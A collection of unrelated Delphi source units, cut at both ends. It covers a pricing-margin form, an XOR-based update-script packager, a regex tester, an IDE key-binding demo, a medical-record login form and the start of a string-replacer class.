mmResumo.Lines.Add('Não foi identificado quebras de end no DFM');
if not ExisteObjetosDuplicados(vDFM) then
mmResumo.Lines.Add('Nenhum objeto em duplicidade no DFM');
finally
FreeAndNil(vDFM);
end;
end;
end.
|
unit uFrmModelSubGroup;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, PaideFichaTab, FormConfig, DB, ADODB, PowerADOQuery, siComp,
siLangRT, ComCtrls, StdCtrls, Buttons, LblEffct, ExtCtrls, DBCtrls, Mask,
SuperComboADO, uDMCalcPrice;
type
TbrwFrmModelSubGroup = class(TbrwFrmTabParent)
tsPricing: TTabSheet;
Panel9: TPanel;
lbQuestion: TLabel;
pnSalePrice: TPanel;
scSalePriceMargemType: TDBSuperComboADO;
dbSalePricePercent: TDBEdit;
cbSalePrice: TComboBox;
Panel13: TPanel;
lbQuestion2: TLabel;
pnMSRP: TPanel;
scMSRPMargemType: TDBSuperComboADO;
dbMSRPPercent: TDBEdit;
cbMSRP: TComboBox;
quFormIDModelSubGroup: TIntegerField;
quFormIDModelGroup: TIntegerField;
quFormModelSubGroup: TStringField;
quFormSalePriceMargemPercent: TFloatField;
quFormUseSalePricePercent: TBooleanField;
quFormIDSalePriceMargemTable: TIntegerField;
quFormIDMSRPMargemTable: TIntegerField;
quFormMSRPMargemPercent: TFloatField;
quFormUseMSRPPercent: TBooleanField;
DBEdit1: TDBEdit;
Label1: TLabel;
Label20: TLabel;
cmbGroup: TDBSuperComboADO;
Label2: TLabel;
Label3: TLabel;
lbUserCode: TLabel;
DBEdit2: TDBEdit;
quFormUserCode: TStringField;
chkRecalcPrices: TCheckBox;
procedure quFormAfterOpen(DataSet: TDataSet);
procedure quFormBeforePost(DataSet: TDataSet);
procedure quFormNewRecord(DataSet: TDataSet);
procedure cbSalePriceChange(Sender: TObject);
procedure cbMSRPChange(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure dbSalePricePercentKeyPress(Sender: TObject; var Key: Char);
procedure scSalePriceMargemTypeSelectItem(Sender: TObject);
procedure chkRecalcPricesClick(Sender: TObject);
private
FRecalcChanged: Boolean;
FCalcPriceType : TCalcPriceType;
fIDModelGroup : Integer;
protected
procedure OnBeforeStart; override;
procedure OnAfterCommit; override;
end;
implementation
uses uParamFunctions, uDM, uSystemConst, uMsgBox, uMsgConstant,
uFrmMarginTableUpdate, PaiDeFichas;
{$R *.dfm}
procedure TbrwFrmModelSubGroup.OnBeforeStart;
begin
inherited;
fIDModelGroup := StrToInt(ParseParam(Self.sParam, 'IDModelGroup'));
PageControl.Visible := DM.fSystem.SrvParam[PARAM_CALC_MARGIN];
end;
procedure TbrwFrmModelSubGroup.quFormAfterOpen(DataSet: TDataSet);
begin
inherited;
if quFormUseMSRPPercent.AsBoolean = True then
begin
cbMSRP.ItemIndex := 0;
scMSRPMargemType.Visible := False;
dbMSRPPercent.Visible := True;
end
else
begin
cbMSRP.ItemIndex := 1;
dbMSRPPercent.Visible := False;
scMSRPMargemType.Visible := True;
end;
if quFormUseSalePricePercent.AsBoolean = True then
begin
cbSalePrice.ItemIndex := 0;
scSalePriceMargemType.Visible := False;
dbSalePricePercent.Visible := True;
end
else
begin
cbSalePrice.ItemIndex := 1;
dbSalePricePercent.Visible := False;
scSalePriceMargemType.Visible := True;
end;
end;
procedure TbrwFrmModelSubGroup.quFormBeforePost(DataSet: TDataSet);
begin
inherited;
with quForm do
begin
FRecalcChanged := True;
if chkRecalcPrices.Checked then
FCalcPriceType := cptBoth
else
FRecalcChanged := False;
end;
if cbSalePrice.ItemIndex = 0 then
begin
quFormUseSalePricePercent.AsBoolean := True;
quFormIDSalePriceMargemTable.AsString := '';
end
else
begin
quFormUseSalePricePercent.AsBoolean := False;
quFormSalePriceMargemPercent.AsCurrency := 0;
end;
if cbMSRP.ItemIndex = 0 then
begin
quFormUseMSRPPercent.AsBoolean := True;
quFormIDMSRPMargemTable.AsString := '';
end
else
begin
quFormUseMSRPPercent.AsBoolean := False;
quFormMSRPMargemPercent.AsCurrency := 0;
end;
end;
procedure TbrwFrmModelSubGroup.quFormNewRecord(DataSet: TDataSet);
begin
inherited;
quFormIDModelGroup.AsInteger := fIDModelGroup;
end;
procedure TbrwFrmModelSubGroup.cbSalePriceChange(Sender: TObject);
begin
inherited;
quForm.Edit;
if cbSalePrice.ItemIndex = 0 then
begin
dbSalePricePercent.Visible := True;
scSalePriceMargemType.Text := '';
scSalePriceMargemType.Visible := False;
end
else
begin
scSalePriceMargemType.Visible := True;
dbSalePricePercent.Text := '';
dbSalePricePercent.Visible := False;
end;
end;
procedure TbrwFrmModelSubGroup.cbMSRPChange(Sender: TObject);
begin
inherited;
quForm.Edit;
if cbMSRP.ItemIndex = 0 then
begin
dbMSRPPercent.Visible := True;
scMSRPMargemType.Text := '';
scMSRPMargemType.Visible := False;
end
else
begin
scMSRPMargemType.Visible := True;
dbMSRPPercent.Text := '';
dbMSRPPercent.Visible := False;
end;
end;
procedure TbrwFrmModelSubGroup.FormShow(Sender: TObject);
begin
inherited;
quFormUserCode.FocusControl;
end;
procedure TbrwFrmModelSubGroup.OnAfterCommit;
begin
inherited;
if FRecalcChanged then
with TFrmMarginTableUpdate.Create(self) do
Start(quFormIDModelSubGroup.AsInteger, FCalcPriceType, mgtSubGroup);
end;
procedure TbrwFrmModelSubGroup.dbSalePricePercentKeyPress(Sender: TObject;
var Key: Char);
begin
inherited;
chkRecalcPrices.Checked := True;
end;
procedure TbrwFrmModelSubGroup.scSalePriceMargemTypeSelectItem(
Sender: TObject);
begin
inherited;
chkRecalcPrices.Checked := True;
end;
procedure TbrwFrmModelSubGroup.chkRecalcPricesClick(Sender: TObject);
begin
inherited;
quForm.Edit;
end;
end.
|
unit MainUnit;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ComCtrls, Mask, IBSQL, ProcessUnit, Consts, IniFiles,
cxControls, cxContainer, cxEdit, cxTextEdit, cxMaskEdit, cxButtonEdit,
cxLookAndFeelPainters, cxButtons, cxDropDownEdit, cxCalendar, ExtCtrls;
type
TMainForm = class(TForm)
OpenDialog: TOpenDialog;
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
SaveDialog: TSaveDialog;
NumberEdit: TcxTextEdit;
FileEdit: TcxButtonEdit;
SystemBox: TcxComboBox;
DateEdit: TcxDateEdit;
GenerateButton: TcxButton;
Shape1: TShape;
procedure ButtonClick(Sender: TObject);
function StrToStr8(s: string) : String;
procedure FormCreate(Sender: TObject);
procedure FileEditPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
procedure GenerateButtonClick(Sender: TObject);
procedure NumberEditKeyPress(Sender: TObject; var Key: Char);
procedure DateEditKeyPress(Sender: TObject; var Key: Char);
private
{ Private declarations }
public
OutF, InF : file;
InFile : string;
Ind : array [0..100] of Integer;
ProcessF : TProcessForm;
procedure EnableControls(Enabled : boolean);
end;
var
MainForm: TMainForm;
implementation
{$R *.dfm}
function TMainForm.StrToStr8(s: string) : String;
begin
result := s;
while Length(result) < 8 do insert('0', result, 0);
end;
procedure TMainForm.ButtonClick(Sender: TObject);
begin
Close;
end;
procedure TMainForm.FormCreate(Sender: TObject);
var
Ini : TIniFile;
i, n, p, l : Integer;
s : String;
begin
DateEdit.Date := Date;
Ini := TIniFile.Create(ExtractFilePath(Application.ExeName) + 'CryptSystem.ini');
i := 0;
SystemBox.Properties.Items.Clear;
s := Ini.ReadString('CryptSystemItems', IntToStr(i), 'nothing');
while s <> 'nothing' do begin
p := Pos(';', s);
l := Length(s);
n := StrToInt(Copy(s, p + 1, l - p));
SystemBox.Properties.Items.Add(Copy(s, 1, p - 1));
Ind[i] := n;
i := i + 1;
s := Ini.ReadString('CryptSystemItems', IntToStr(i), 'nothing');
end;
Ini.Free;
end;
procedure TMainForm.FileEditPropertiesButtonClick(Sender: TObject;
AButtonIndex: Integer);
begin
if OpenDialog.Execute then FileEdit.Text := OpenDialog.FileName;
end;
procedure TMainForm.GenerateButtonClick(Sender: TObject);
var
i : Integer;
c : byte;
begin
if FileEdit.Text = '' then begin
ShowMessage('Необходимо выбрать файл со скриптом обновления!');
FileEdit.SetFocus;
Exit;
end;
if SystemBox.ItemIndex = -1 then begin
ShowMessage('Необходимо ввыбрать систему, для которой предназначается обновление!');
SystemBox.SetFocus;
Exit;
end;
if NumberEdit.Text = '' then begin
ShowMessage('Необходимо ввести номер обновления!');
NumberEdit.SetFocus;
Exit;
end;
if not SaveDialog.Execute then Exit;
if (FileSearch(SaveDialog.FileName, '') <> '') and (MessageDlg('Файл уже существует. Перезаписать?', mtConfirmation, [mbYes, mbNo],0) = mrNo) then Exit;
//InEdit.Lines.LoadFromFile(FileEdit.Text);
//InEdit.Lines.Insert(0,'3030#' + StrToStr8(IdEdit.Text) + '#' + StrToStr8(NumberEdit.Text) + '#' + DateToStr(DateEdit.Date));
EnableControls(False);
AssignFile(InF, OpenDialog.FileName);
Reset(InF, 1);
AssignFile(OutF, SaveDialog.FileName);
Rewrite(OutF, 1);
InFile := '3030#' + StrToStr8(IntToStr(Ind[SystemBox.ItemIndex])) + '#'
+ StrToStr8(NumberEdit.Text) + '#' + DateToStr(DateEdit.Date) + #13#10 + InFile;;
ProcessF := TProcessForm.Create(Self);
ProcessF.Progress.Properties.Max := FileSize(inF) + Length(InFile);
ProcessF.Show;
for i := 1 to Length(InFile) do begin
c := Ord(InFile[i]) xor 147;
ProcessF.Progress.Position := i;
ProcessF.Step;
BlockWrite(OutF, c, 1);
end;
while not Eof(inF) do begin
BlockRead(inF, c, 1);
c := Ord(c) xor 147;
BlockWrite(OutF, c, 1);
if i mod 100 = 0 then begin
ProcessF.Progress.Position := i;
ProcessF.Step;
if ProcessF.Stop then begin
CloseFile(OutF);
CloseFile(InF);
ProcessF.Hide;
Screen.Cursor := crDefault;
EnableControls(True);
Exit;
end;
end;
inc(i);
end;
CloseFile(OutF);
CloseFile(InF);
Screen.Cursor := crDefault;
ShowMessage(IntToStr(i) + ' байт обработано!');
ProcessF.Close;
EnableControls(True);
end;
procedure TMainForm.NumberEditKeyPress(Sender: TObject; var Key: Char);
begin
if not (Key in [#13, '0'..'9', #27, #8]) then begin
Key := #0;
Exit;
end;
if Key = #13 then begin
Key := #0;
DateEdit.SetFocus;
end;
end;
procedure TMainForm.DateEditKeyPress(Sender: TObject; var Key: Char);
begin
if Key = #13 then begin
Key := #0;
GenerateButton.SetFocus;
end;
end;
procedure TMainForm.EnableControls(Enabled: boolean);
begin
FileEdit.Enabled := Enabled;
SystemBox.Enabled := Enabled;
NumberEdit.Enabled := Enabled;
DateEdit.Enabled := Enabled;
GenerateButton.Enabled := Enabled;
end;
end.
|
{-----------------------------------------------------------------------------
Unit Name: frmRegExpTester
Author: Kiriakos Vlahos
Date: 08-Dec-2005
Purpose: Integrated regular expression development and testing
History:
-----------------------------------------------------------------------------}
unit frmRegExpTester;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, frmIDEDockWin, JvComponent, JvDockControlForm, ExtCtrls, StdCtrls,
JvExStdCtrls, JvRichEdit, mbTBXJvRichEdit, VirtualTrees, TBXDkPanels, TB2Item,
TBX, TBXThemes, TB2Dock, TB2Toolbar, TBXStatusBars, JvAppStorage,
JvComponentBase;
type
TRegExpTesterWindow = class(TIDEDockWindow, IJvAppStorageHandler)
StatusBar: TTBXStatusBar;
TBXDock: TTBXDock;
RegExpTesterToolbar: TTBXToolbar;
TBXSubmenuItem2: TTBXSubmenuItem;
CI_DOTALL: TTBXItem;
CI_IGNORECASE: TTBXItem;
CI_LOCALE: TTBXItem;
CI_MULTILINE: TTBXItem;
TBXSeparatorItem1: TTBXSeparatorItem;
TIExecute: TTBXItem;
TBXMultiDock: TTBXMultiDock;
TBXDockablePanel3: TTBXDockablePanel;
TBXLabel1: TTBXLabel;
GroupsView: TVirtualStringTree;
TBXDockablePanel1: TTBXDockablePanel;
TBXLabel2: TTBXLabel;
MatchText: TmbTBXJvRichEdit;
TBXDockablePanel2: TTBXDockablePanel;
TBXLabel3: TTBXLabel;
RegExpText: TmbTBXJvRichEdit;
TBXDockablePanel4: TTBXDockablePanel;
TBXLabel4: TTBXLabel;
SearchText: TmbTBXJvRichEdit;
TBXSeparatorItem2: TTBXSeparatorItem;
CI_UNICODE: TTBXItem;
CI_VERBOSE: TTBXItem;
RI_Match: TTBXItem;
RI_Search: TTBXItem;
tiHelp: TTBXItem;
TBXSeparatorItem3: TTBXSeparatorItem;
TiClear: TTBXItem;
TBXSeparatorItem4: TTBXSeparatorItem;
CI_AutoExecute: TTBXItem;
procedure TiClearClick(Sender: TObject);
procedure GroupsViewGetText(Sender: TBaseVirtualTree; Node: PVirtualNode;
Column: TColumnIndex; TextType: TVSTTextType; var CellText: WideString);
procedure TIExecuteClick(Sender: TObject);
procedure tiHelpClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormResize(Sender: TObject);
procedure RegExpTextChange(Sender: TObject);
private
{ Private declarations }
RegExp : Variant;
MatchObject : Variant;
protected
procedure TBMThemeChange(var Message: TMessage); message TBM_THEMECHANGE;
// IJvAppStorageHandler implementation
procedure ReadFromAppStorage(AppStorage: TJvCustomAppStorage; const BasePath: string);
procedure WriteToAppStorage(AppStorage: TJvCustomAppStorage; const BasePath: string);
public
{ Public declarations }
end;
var
RegExpTesterWindow: TRegExpTesterWindow;
implementation
uses dmCommands, uCommonFunctions, frmPyIDEMain, VarPyth, frmPythonII;
{$R *.dfm}
procedure TRegExpTesterWindow.FormResize(Sender: TObject);
begin
inherited;
TBXMultiDock.ResizeVisiblePanels(FGPanel.ClientWidth-4);
end;
procedure TRegExpTesterWindow.FormCreate(Sender: TObject);
begin
inherited;
GroupsView.NodeDataSize := 0;
GroupsView.OnAdvancedHeaderDraw :=
CommandsDataModule.VirtualStringTreeAdvancedHeaderDraw;
GroupsView.OnHeaderDrawQueryElements :=
CommandsDataModule.VirtualStringTreeDrawQueryElements;
end;
procedure TRegExpTesterWindow.TBMThemeChange(var Message: TMessage);
begin
inherited;
if Message.WParam = TSC_VIEWCHANGE then begin
GroupsView.Header.Invalidate(nil, True);
GroupsView.Colors.HeaderHotColor :=
CurrentTheme.GetItemTextColor(GetItemInfo('active'));
end;
end;
procedure TRegExpTesterWindow.WriteToAppStorage(AppStorage: TJvCustomAppStorage;
const BasePath: string);
begin
AppStorage.WriteString(BasePath+'\Regular Expression', RegExpText.Text);
AppStorage.WriteString(BasePath+'\Search Text', SearchText.Text);
AppStorage.WriteBoolean(BasePath+'\DOTALL', CI_DOTALL.Checked);
AppStorage.WriteBoolean(BasePath+'\IGNORECASE', CI_IGNORECASE.Checked);
AppStorage.WriteBoolean(BasePath+'\LOCALE', CI_LOCALE.Checked);
AppStorage.WriteBoolean(BasePath+'\MULTILINE', CI_MULTILINE.Checked);
AppStorage.WriteBoolean(BasePath+'\UNICODE', CI_UNICODE.Checked);
AppStorage.WriteBoolean(BasePath+'\VERBOSE', CI_VERBOSE.Checked);
AppStorage.WriteBoolean(BasePath+'\Search', RI_Search.Checked);
AppStorage.WriteBoolean(BasePath+'\AutoExec', CI_AutoExecute.Checked);
end;
procedure TRegExpTesterWindow.ReadFromAppStorage(
AppStorage: TJvCustomAppStorage; const BasePath: string);
begin
RegExpText.Text := AppStorage.ReadString(BasePath+'\Regular Expression');
SearchText.Text := AppStorage.ReadString(BasePath+'\Search Text');
CI_DOTALL.Checked := AppStorage.ReadBoolean(BasePath+'\DOTALL', False);
CI_IGNORECASE.Checked := AppStorage.ReadBoolean(BasePath+'\IGNORECASE', False);
CI_LOCALE.Checked := AppStorage.ReadBoolean(BasePath+'\LOCALE', False);
CI_MULTILINE.Checked := AppStorage.ReadBoolean(BasePath+'\MULTILINE', False);
CI_UNICODE.Checked := AppStorage.ReadBoolean(BasePath+'\UNICODE', False);
CI_VERBOSE.Checked := AppStorage.ReadBoolean(BasePath+'\VERBOSE', False);
RI_Search.Checked := AppStorage.ReadBoolean(BasePath+'\Search', True);
CI_AutoExecute.Checked := AppStorage.ReadBoolean(BasePath+'\AutoExec', True);
end;
procedure TRegExpTesterWindow.RegExpTextChange(Sender: TObject);
begin
if CI_AutoExecute.Checked and (RegExpText.Text <> '') and
(SearchText.Text <> '')
then
TIExecuteClick(Self);
end;
procedure TRegExpTesterWindow.tiHelpClick(Sender: TObject);
begin
if not CommandsDataModule.ShowPythonKeywordHelp('re (standard module)') then
Application.HelpContext(HelpContext);
end;
procedure TRegExpTesterWindow.TIExecuteClick(Sender: TObject);
Var
re: Variant;
Flags : integer;
begin
MatchText.Clear;
GroupsView.Clear;
VarClear(RegExp);
VarClear(MatchObject);
re := Import('re');
Flags := 0;
if CI_DOTALL.Checked then
Flags := re.DOTALL;
if CI_IGNORECASE.Checked then
Flags := Flags or re.IGNORECASE;
if CI_LOCALE.Checked then
Flags := Flags or re.LOCALE;
if CI_MULTILINE.Checked then
Flags := Flags or re.MULTILINE;
if CI_UNICODE.Checked then
Flags := Flags or re.UNICODE;
if CI_VERBOSE.Checked then
Flags := Flags or re.VERBOSE;
// Compile Regular Expression
try
PythonIIForm.ShowOutput := false;
RegExp := re.compile(RegExpText.Text, Flags);
except
on E: Exception do begin
with StatusBar.Panels[0] do begin
ImageIndex := 21;
Caption := E.Message;
end;
PythonIIForm.ShowOutput := True;
Exit;
end;
end;
// Execute regular expression
try
if RI_Search.Checked then
MatchObject := regexp.search(SearchText.Text, 0)
else
MatchObject := RegExp.match(SearchText.Text);
except
on E: Exception do begin
with StatusBar.Panels[0] do begin
ImageIndex := 21;
Caption := E.Message;
end;
PythonIIForm.ShowOutput := True;
Exit;
end;
end;
if (not VarIsPython(MatchObject)) or VarIsNone(MatchObject) then begin
with StatusBar.Panels[0] do begin
ImageIndex := 21;
Caption := 'Search text did not match';
end;
end else begin
with StatusBar.Panels[0] do begin
ImageIndex := 20;
Caption := 'Search text matched';
end;
MatchText.Text := MatchObject.group();
GroupsView.RootNodeCount := len(MatchObject.groups());
end;
PythonIIForm.ShowOutput := True;
end;
procedure TRegExpTesterWindow.GroupsViewGetText(Sender: TBaseVirtualTree;
Node: PVirtualNode; Column: TColumnIndex; TextType: TVSTTextType;
var CellText: WideString);
Var
GroupDict, Keys : Variant;
var
i : integer;
begin
Assert(VarIsPython(MatchObject) and not VarIsNone(MatchObject));
Assert(Integer(Node.Index) < len(MatchObject.groups()));
case Column of
0: CellText := IntToStr(Node.Index + 1);
1: begin
CellText := '';
GroupDict := RegExp.groupindex;
Keys := Groupdict.keys();
for i := 0 to len(Keys) - 1 do
if Groupdict.getitem(Keys.getitem(i)) = Node.Index + 1 then begin
CellText := Keys.getitem(i);
break;
end;
end;
2: if VarIsNone(MatchObject.groups(Node.Index+1)) then
CellText := ''
else
CellText := MatchObject.group(Node.Index+1);
end;
end;
procedure TRegExpTesterWindow.TiClearClick(Sender: TObject);
begin
RegExpText.Clear;
SearchText.Clear;
MatchText.Clear;
GroupsView.Clear;
VarClear(RegExp);
VarClear(MatchObject);
with StatusBar.Panels[0] do begin
ImageIndex := 21;
Caption := 'Not executed';
end;
end;
end.
|
unit Dupline;
(* Duplicate Line Key Binding
Copyright (c) 2001-2010 Cary Jensen, Jensen Data Systems, Inc.
You may freely distribute this unit, so long as this comment
section is retained, and no fee is charged for it.
This key binding is provided as a demonstration of key bindings.
To use this key binding, install it into a design-time package.
Once installed, this key binding adds a Ctrl-Shift-D (duplicate line) function to the code editor.
No warranty is intended or implied concerning the
appropriateness of this code example for any other use. If you use
this examples, or any part of it, you assume all responsibility
for ensuring that it works as intended.
For information concerning Delphi training, visit www.jensendatasystems.com.
*)
interface
uses
SysUtils, Classes, Vcl.Dialogs, Vcl.Controls, Windows { for TShortcut } ,
{$IFDEF LINUX}
QMenus, { for Shortcut }
{$ENDIF}
{$IFDEF MSWINDOWS}
Vcl.Menus, { for Shortcut }
{$ENDIF}
ToolsAPI;
// If ToolsAPI will not compile, add 'designide.dcp' to your Requires clause
procedure Register;
implementation
type
TDupLineBinding = class(TNotifierObject, IOTAKeyboardBinding)
private
public
procedure Dupline(const Context: IOTAKeyContext; KeyCode: TShortcut; var BindingResult: TKeyBindingResult);
procedure AppendComment(const Context: IOTAKeyContext; KeyCode: TShortcut; var BindingResult: TKeyBindingResult);
procedure CommentToggle(const Context: IOTAKeyContext; KeyCode: TShortcut; var BindingResult: TKeyBindingResult);
{ IOTAKeyboardBinding }
function GetBindingType: TBindingType;
function GetDisplayName: string;
function GetName: string;
procedure BindKeyboard(const BindingServices: IOTAKeyBindingServices);
end;
procedure Register;
begin
(BorlandIDEServices as IOTAKeyboardServices).AddKeyboardBinding(TDupLineBinding.Create);
end;
{ TKeyBindingImpl }
function TDupLineBinding.GetBindingType: TBindingType;
begin
Result := btPartial;
end;
function TDupLineBinding.GetDisplayName: string;
begin
Result := 'Duplicate Line Binding';
end;
function TDupLineBinding.GetName: string;
begin
Result := 'jdsi.dupline';
end;
procedure TDupLineBinding.BindKeyboard(const BindingServices: IOTAKeyBindingServices);
begin
BindingServices.AddKeyBinding([Shortcut(Ord('D'), [ssShift, ssCtrl])], Dupline, nil);
BindingServices.AddKeyBinding([Shortcut(Ord('C'), [ssShift, ssCtrl, ssAlt])], AppendComment, nil);
BindingServices.AddKeyBinding([Shortcut(VK_F1, [ssCtrl, ssShift])], CommentToggle, nil);
// Add additional key bindings here
end;
procedure TDupLineBinding.Dupline(const Context: IOTAKeyContext; KeyCode: TShortcut; var BindingResult: TKeyBindingResult);
var
EditPosition: IOTAEditPosition;
EditBlock: IOTAEditBlock;
CurrentRow: Integer;
CurrentRowEnd: Integer;
BlockSize: Integer;
IsAutoIndent: Boolean;
CodeLine: string;
begin
EditPosition := Context.EditBuffer.EditPosition;
EditBlock := Context.EditBuffer.EditBlock;
// Save the current edit block and edit position
EditBlock.Save;
EditPosition.Save;
try
// Store original cursor row
CurrentRow := EditPosition.Row;
// Length of the selected block (0 means no block)
BlockSize := EditBlock.Size;
// Store AutoIndent property
IsAutoIndent := Context.EditBuffer.BufferOptions.AutoIndent;
// Turn off AutoIndent, if necessary
if IsAutoIndent then
Context.EditBuffer.BufferOptions.AutoIndent := False;
// If no block is selected, or the selected block is a single line,
// then duplicate just the current line
if (BlockSize = 0) or (EditBlock.StartingRow = EditPosition.Row) or ((BlockSize <> 0) and ((EditBlock.StartingRow + 1) = (EditPosition.Row)) and (EditBlock.EndingColumn = 1)) then
begin
// Only a single line to duplicate
// Move to end of current line
EditPosition.MoveEOL;
// Get the column position
CurrentRowEnd := EditPosition.Column;
// Move to beginning of current line
EditPosition.MoveBOL;
// Get the text of the current line, less the EOL marker
CodeLine := EditPosition.Read(CurrentRowEnd - 1);
// Add a line
EditPosition.InsertText(#13);
// Move to column 1
EditPosition.Move(CurrentRow, 1);
// Insert the copied line
EditPosition.InsertText(CodeLine);
end
else
begin
// More than one line selected. Get block text
CodeLine := EditBlock.Text;
// Move to the end of the block
EditPosition.Move(EditBlock.EndingRow, EditBlock.EndingColumn);
// Insert block text
EditPosition.InsertText(CodeLine);
end;
// Restore AutoIndent, if necessary
if IsAutoIndent then
Context.EditBuffer.BufferOptions.AutoIndent := True;
BindingResult := krHandled;
finally
// Move cursor to original position
EditPosition.Restore;
// Restore the original block (if one existed)
EditBlock.Restore;
end;
end;
procedure TDupLineBinding.AppendComment(const Context: IOTAKeyContext; KeyCode: TShortcut; var BindingResult: TKeyBindingResult);
var
ep: IOTAEditPosition;
c: Integer;
begin
ep := Context.EditBuffer.EditPosition; // 9/24/2010 11:03:14 AM
// Author: Cary Jensen
ep.MoveEOL;
c := ep.Column;
ep.InsertText(' // ' + DateTimeToStr(Now) + #13);
ep.Move(ep.Row, c + 1);
ep.InsertText(' // Author: Cary Jensen');
BindingResult := krHandled;
end;
procedure TDupLineBinding.CommentToggle(const Context: IOTAKeyContext; KeyCode: TShortcut; var BindingResult: TKeyBindingResult);
var
ep: IOTAEditPosition;
eb: IOTAEditBlock;
Comment: Boolean;
SRow, ERow: Integer;
begin
// original edit position
ep := Context.EditBuffer.EditPosition;
ep.Save;
// edit block
eb := Context.EditBuffer.EditBlock;
// find the starting and ending rows to operate on
if eb.Size = 0 then
begin
SRow := ep.Row;
ERow := ep.Row;
end
else if (eb.EndingColumn = 1) then
begin
SRow := eb.StartingRow;
ERow := eb.EndingRow - 1;
end
else
begin
SRow := eb.StartingRow;
ERow := eb.EndingRow;
end;
// toggle comments
repeat
begin
ep.Move(SRow, 1);
while ep.IsWhiteSpace do
ep.MoveRelative(0, 1);
if ep.Character = '/' then
begin
ep.MoveRelative(0, 1);
if ep.Character = '/' then
Comment := True
else
Comment := False
end
else
Comment := False;
if Comment then
begin
ep.MoveRelative(0, -1);
ep.Delete(2);
end
else
begin
ep.MoveBOL;
ep.InsertText('//');
end;
Inc(SRow);
end;
until (SRow > ERow);
// update caret position
ep.Restore;
ep.Move(SRow, ep.Column);
// All done
BindingResult := krHandled;
end;
end.
|
{*******************************************************}
{ }
{ 基于HCView的电子病历程序 作者:荆通 }
{ }
{ 此代码仅做学习交流使用,不可用于商业目的,由此引发的 }
{ 后果请使用者承担,加入QQ群 649023932 来获取更多的技术 }
{ 交流。 }
{ }
{*******************************************************}
unit frm_login;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Vcl.Graphics, Vcl.Controls,
Vcl.Forms, FunctionIntf, Vcl.StdCtrls, Vcl.Dialogs, CFControl, CFEdit,
CFSafeEdit;
type
TfrmLogin = class(TForm)
btnOk: TButton;
lbl1: TLabel;
btnCancel: TButton;
lbl2: TLabel;
lblSet: TLabel;
edtUserID: TCFEdit;
edtPassword: TCFSafeEdit;
procedure FormCreate(Sender: TObject);
procedure btnOkClick(Sender: TObject);
procedure btnCancelClick(Sender: TObject);
procedure lblSetClick(Sender: TObject);
procedure edtPasswordKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure FormShow(Sender: TObject);
private
{ Private declarations }
FOnFunctionNotify: TFunctionNotifyEvent;
public
{ Public declarations }
end;
procedure PluginShowLoginForm(AIFun: IFunBLLFormShow);
procedure PluginCloseLoginForm;
var
frmLogin: TfrmLogin;
PlugInID: string;
implementation
uses
PluginConst, FunctionConst, FunctionImp, emr_Common, emr_BLLInvoke,
emr_MsgPack, emr_Entry, FireDAC.Comp.Client, frm_ConnSet, CFBalloonHint;
{$R *.dfm}
procedure PluginShowLoginForm(AIFun: IFunBLLFormShow);
//var
// vObjectInfo: IPlugInObjectInfo;
begin
if FrmLogin = nil then
Application.CreateForm(Tfrmlogin, FrmLogin);
FrmLogin.FOnFunctionNotify := AIFun.OnNotifyEvent;
FrmLogin.ShowModal;
// if FrmLogin.ModalResult = mrOk then
// begin
// vObjectInfo := TPlugInObjectInfo.Create;
// vObjectInfo.&Object := TObject(FrmLogin.FUserID);
// FrmLogin.FOnFunctionNotify(PlugInID, FUN_USERINFO, vObjectInfo); // 告诉主程序登录用户名
// end;
FrmLogin.FOnFunctionNotify(PlugInID, FUN_BLLFORMDESTROY, nil); // 释放业务窗体资源
end;
procedure PluginCloseLoginForm;
begin
if FrmLogin <> nil then
FreeAndNil(FrmLogin);
end;
procedure TfrmLogin.btnCancelClick(Sender: TObject);
begin
Close;
end;
procedure TfrmLogin.btnOkClick(Sender: TObject);
begin
if edtPassword.TextLength < 1 then
begin
BalloonMessage(edtPassword, '请输入密码!');
Exit;
end;
HintFormShow('正在登录...', procedure(const AUpdateHint: TUpdateHint)
var
vObjFun: IObjectFunction;
vUserCert: TUserCert;
begin
vObjFun := TObjectFunction.Create;
vUserCert := TUserCert.Create;
try
vUserCert.ID := edtUserID.Text;
vUserCert.Password := MD5(edtPassword.SafeText);
vObjFun.&Object := vUserCert;
FOnFunctionNotify(PlugInID, FUN_LOGINCERTIFCATE, vObjFun);
case vUserCert.State of
cfsError: ShowMessage('登录失败:无效的用户或者错误的密码!');
cfsPass: Close;
cfsConflict: ShowMessage('登录失败:存在多个相同的用户,请联系管理员确认!');
end;
finally
FreeAndNil(vUserCert);
end;
end);
end;
procedure TfrmLogin.edtPasswordKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if Key = VK_RETURN then
btnOkClick(Sender);
end;
procedure TfrmLogin.FormCreate(Sender: TObject);
begin
PlugInID := PLUGIN_LOGIN;
//SetWindowLong(Handle, GWL_EXSTYLE, (GetWindowLong(handle, GWL_EXSTYLE) or WS_EX_APPWINDOW));
end;
procedure TfrmLogin.FormShow(Sender: TObject);
begin
if edtUserID.Text = '' then
edtUserID.SetFocus
else
edtPassword.SetFocus;
end;
procedure TfrmLogin.lblSetClick(Sender: TObject);
var
vFrmConnSet: TfrmConnSet;
begin
vFrmConnSet := TfrmConnSet.Create(Self);
try
vFrmConnSet.ShowModal;
finally
FreeAndNil(vFrmConnSet);
end;
end;
end.
|
unit uStringUtils;
interface
uses
Generics.Collections,
System.StrUtils,
System.Classes,
System.SysUtils,
Winapi.Windows,
Dmitry.Utils.System,
uMemory;
type
TStringsHelper = class helper for TStrings
function Join(JoinString: string): string;
procedure AddRange(Range: TArray<string>);
procedure Remove(Value: string; CaseSensetive: Boolean);
end;
type
TStringFindOptions = array[0..1] of Integer;
type
TStringReplaceItem = class(TObject)
public
SubPattern: string;
Value: string;
end;
TStringReplaceItemFoundResult = class(TObject)
public
SubPattern: string;
Value: string;
StartPos: Integer;
end;
TStringReplacer = class(TObject)
private
FList: TList<TStringReplaceItem>;
FPattern: string;
FCaseSencetive: Boolean;
function GetResult: string;
public
constructor Create(Pattern: string);
destructor Destroy; override;
procedure AddPattern(SubPattern, Value: string);
property Result: string read GetResult;
